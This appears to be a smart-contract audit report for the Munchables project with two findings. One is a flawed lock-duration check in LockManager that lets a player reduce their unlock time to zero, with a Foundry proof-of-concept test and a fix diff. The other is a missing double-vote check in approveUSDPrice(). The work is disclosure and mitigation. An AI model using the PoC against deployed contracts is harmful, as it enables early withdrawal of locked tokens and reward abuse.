Munchables - Eeyore's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L256-L261

Vulnerability details

Locking USDB or WETH tokens in the LockManager has two main incentives: to farm Munch Points or to mint new unopened Munchables during the Lockdrop period.

Before locking, a player can determine the lockDuration which must be greater than or equal to Lockdrop.minLockDuration if the Lockdrop is active. This mechanism is necessary to prevent infinite Munchables minting. Additionally, a longer lockDuration provides the benefit of bonus Munch Points farming.

However, there is an invalid check inside the setLockDuration() function:

// check they are not setting lock time before current unlock time
if (
    uint32(block.timestamp) + uint32(_duration) <
    lockedTokens[msg.sender][tokenContract].unlockTime
) {
    revert LockDurationReducedError();
}

This allows the player to set the unlock time before the current unlock time.

To exploit this, some time needs to pass (e.g., 1 hour) before calling the setLockDuration() function. The elapsed time between lastLockTime and block.timestamp can then be used for the reduction.

Impact

The player can manipulate and reduce the lockedTokens.unlockTime to zero.

Proof of Concept

1. Lock tokens for Lockdrop.minLockDuration (e.g., 30 days) and mint Munchables.
2. Wait 1 day.
3. Call setLockDuration() multiple times, reducing the duration by 1 day each time, starting from 29 days.
4. After 29 setLockDuration() calls, the lock duration is reduced to 0.

PoC Tests

This test demonstrates how to use setLockDuration() to manipulate lockDuration data.

Create ./src/test/LockManager.t.sol and run forge test --match-test test_PoC.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

contract LockManagerTest is MunchablesTest {
    function test_PoC() public {
        uint256 lockAmount = 100e18;

        deployContracts();
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);

        logPlayer("Player after lock");
        logLockedTokens("After First Lock");

        // we need some time to pass that will be used to unlock tokens
        vm.warp(block.timestamp + 1 hours);

        // iterate setLockDuration (lockTime / passTime) times
        for (uint256 i = 23; i >= 0; --i) {
            lm.setLockDuration(i * 1 hours);
            if (i == 0) {
                break;
            }
        }

        // player can unlock within 1 hour instead of 24 hours
        lm.unlock(address(0), lockAmount);

        logPlayer("Player after unlock");
        logLockedTokens("After Unlock");
    }
}

Recommended Mitigation Steps

Update the setLockDuration() function.

    if (lockedTokens[msg.sender][tokenContract].quantity > 0) {
+        uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
+            .lastLockTime;
        // check they are not setting lock time before current unlock time
        if (
-            uint32(block.timestamp) + uint32(_duration) <
-            lockedTokens[msg.sender][tokenContract].unlockTime
+            lastLockTime + uint32(_duration) <
+            lockedTokens[msg.sender][tokenContract].unlockTime
        ) {
            revert LockDurationReducedError();
        }

-        uint32 lastLockTime = lockedTokens[msg.sender][tokenContract]
-            .lastLockTime;
        lockedTokens[msg.sender][tokenContract].unlockTime =
            lastLockTime +
            uint32(_duration);
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L191-L197

Vulnerability details

In the approveUSDPrice() function, there is no check to prevent the PriceFeed role from double voting, first disapproving and later approving the new price for the token.

A similar check is present in the disapproveUSDPrice() function to prevent double voting by the same actor.

Impact

The PriceFeed role can disapprove a new price update proposal and later approve it, resulting in double event emission that can corrupt off-chain data.

Recommended Mitigation Steps

Update the approveUSDPrice() function to include a check that ensures a proposal that has been disapproved by a voter cannot be approved by the same voter.

function approveUSDPrice(
    uint256 _price
)
    external
    onlyOneOfRoles(
        [
            Role.PriceFeed_1,
            Role.PriceFeed_2,
            Role.PriceFeed_3,
            Role.PriceFeed_4,
            Role.PriceFeed_5
        ]
    )
{
    if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
    if (usdUpdateProposal.proposer == msg.sender)
        revert ProposerCannotApproveError();
    if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
        revert ProposalAlreadyApprovedError();
+   if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId)
+       revert ProposalAlreadyDisapprovedError();
    
    ...
}

Assessed type

Invalid Validation